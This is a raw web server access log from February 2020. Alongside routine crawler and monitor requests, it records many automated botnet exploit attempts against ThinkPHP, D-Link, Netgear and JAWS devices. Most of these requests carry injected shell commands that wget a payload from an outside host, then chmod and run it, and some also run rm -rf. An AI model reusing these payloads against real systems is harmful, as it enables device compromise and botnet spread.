212.91.246.72 - - [06/Feb/2020:23:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.193.53.230 - - [06/Feb/2020:23:59:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:23:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [07/Feb/2020:00:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [07/Feb/2020:00:00:13 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [07/Feb/2020:00:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [07/Feb/2020:00:00:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
1.54.168.15 - - [07/Feb/2020:00:01:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.116.57.55 - - [07/Feb/2020:00:05:07 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
138.219.252.86 - - [07/Feb/2020:00:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
171.247.222.233 - - [07/Feb/2020:00:06:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.56.33 - - [07/Feb/2020:00:06:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.87.35.218 - - [07/Feb/2020:00:06:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
174.81.167.164 - - [07/Feb/2020:00:07:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.102.49.193 - - [07/Feb/2020:00:10:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
118.71.205.244 - - [07/Feb/2020:00:16:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.239.19.112 - - [07/Feb/2020:00:17:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.50.206.127 - - [07/Feb/2020:00:22:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
170.80.244.40 - - [07/Feb/2020:00:26:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [07/Feb/2020:00:28:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.248.193.170 - - [07/Feb/2020:00:28:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [07/Feb/2020:00:28:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [07/Feb/2020:00:28:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [07/Feb/2020:00:28:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [07/Feb/2020:00:29:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.251.205.15 - - [07/Feb/2020:00:29:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.154.56 - - [07/Feb/2020:00:29:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.170 - - [07/Feb/2020:00:30:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
112.27.187.117 - - [07/Feb/2020:00:31:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
113.22.244.59 - - [07/Feb/2020:00:33:43 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
151.64.25.146 - - [07/Feb/2020:00:36:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.93.205.173 - - [07/Feb/2020:00:42:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
79.101.58.3 - - [07/Feb/2020:00:42:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
2.135.90.61 - - [07/Feb/2020:00:49:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.32.140.239 - - [07/Feb/2020:00:49:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.117.79.122 - - [07/Feb/2020:00:51:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [07/Feb/2020:00:55:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.141.153.243 - - [07/Feb/2020:00:58:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.179.243 - - [07/Feb/2020:00:58:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.68.83 - - [07/Feb/2020:01:00:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.82.59.222 - - [07/Feb/2020:01:04:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
94.19.45.189 - - [07/Feb/2020:01:04:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.113.210.153 - - [07/Feb/2020:01:05:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.124.65 - - [07/Feb/2020:01:08:03 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.124.65 - - [07/Feb/2020:01:08:03 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
46.118.124.65 - - [07/Feb/2020:01:08:04 +0100] "GET / HTTP/1.1" 200 1229 "https://puzzleweb.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
81.24.94.78 - - [07/Feb/2020:01:09:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.68.112.165 - - [07/Feb/2020:01:09:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
209.17.97.18 - - [07/Feb/2020:01:10:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
144.52.244.136 - - [07/Feb/2020:01:10:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.116.119 - - [07/Feb/2020:01:10:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.186.7 - - [07/Feb/2020:01:15:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.159.89.176 - - [07/Feb/2020:01:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
105.228.53.194 - - [07/Feb/2020:01:22:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
118.71.130.29 - - [07/Feb/2020:01:22:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.151.184.97 - - [07/Feb/2020:01:24:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.102.217.153 - - [07/Feb/2020:01:24:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.75.112 - - [07/Feb/2020:01:24:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.170.10 - - [07/Feb/2020:01:27:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
90.84.192.75 - - [07/Feb/2020:01:27:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.149.58 - - [07/Feb/2020:01:29:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.41.56 - - [07/Feb/2020:01:30:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [07/Feb/2020:01:30:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:01:30:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:01:30:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [07/Feb/2020:01:31:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.116.100.236 - - [07/Feb/2020:01:31:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.105.27.14 - - [07/Feb/2020:01:31:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
35.201.161.107 - - [07/Feb/2020:01:32:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
69.232.44.241 - - [07/Feb/2020:01:35:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.22.170.10 - - [07/Feb/2020:01:36:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.10.220.201 - - [07/Feb/2020:01:37:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.105.212 - - [07/Feb/2020:01:39:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.114.160.154 - - [07/Feb/2020:01:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
183.80.224.78 - - [07/Feb/2020:01:42:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
143.255.242.179 - - [07/Feb/2020:01:42:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.134.167.80 - - [07/Feb/2020:01:43:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.52.43.106 - - [07/Feb/2020:01:44:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.85.91.19 - - [07/Feb/2020:01:48:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.0.173.121 - - [07/Feb/2020:01:50:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.186.137.112 - - [07/Feb/2020:01:50:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
185.100.15.32 - - [07/Feb/2020:01:51:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
125.128.241.71 - - [07/Feb/2020:01:51:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:01:51:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:01:51:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:01:51:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:01:52:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.114.56.57 - - [07/Feb/2020:01:52:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.129.225.47 - - [07/Feb/2020:01:53:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.253.216 - - [07/Feb/2020:01:55:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.187.163.226 - - [07/Feb/2020:01:56:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
119.99.47.219 - - [07/Feb/2020:01:57:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.172 - - [07/Feb/2020:01:59:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.7.84.141 - - [07/Feb/2020:02:00:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.235.109.137 - - [07/Feb/2020:02:01:17 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
42.115.163.120 - - [07/Feb/2020:02:03:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.27.170.68 - - [07/Feb/2020:02:03:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.126.190 - - [07/Feb/2020:02:08:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
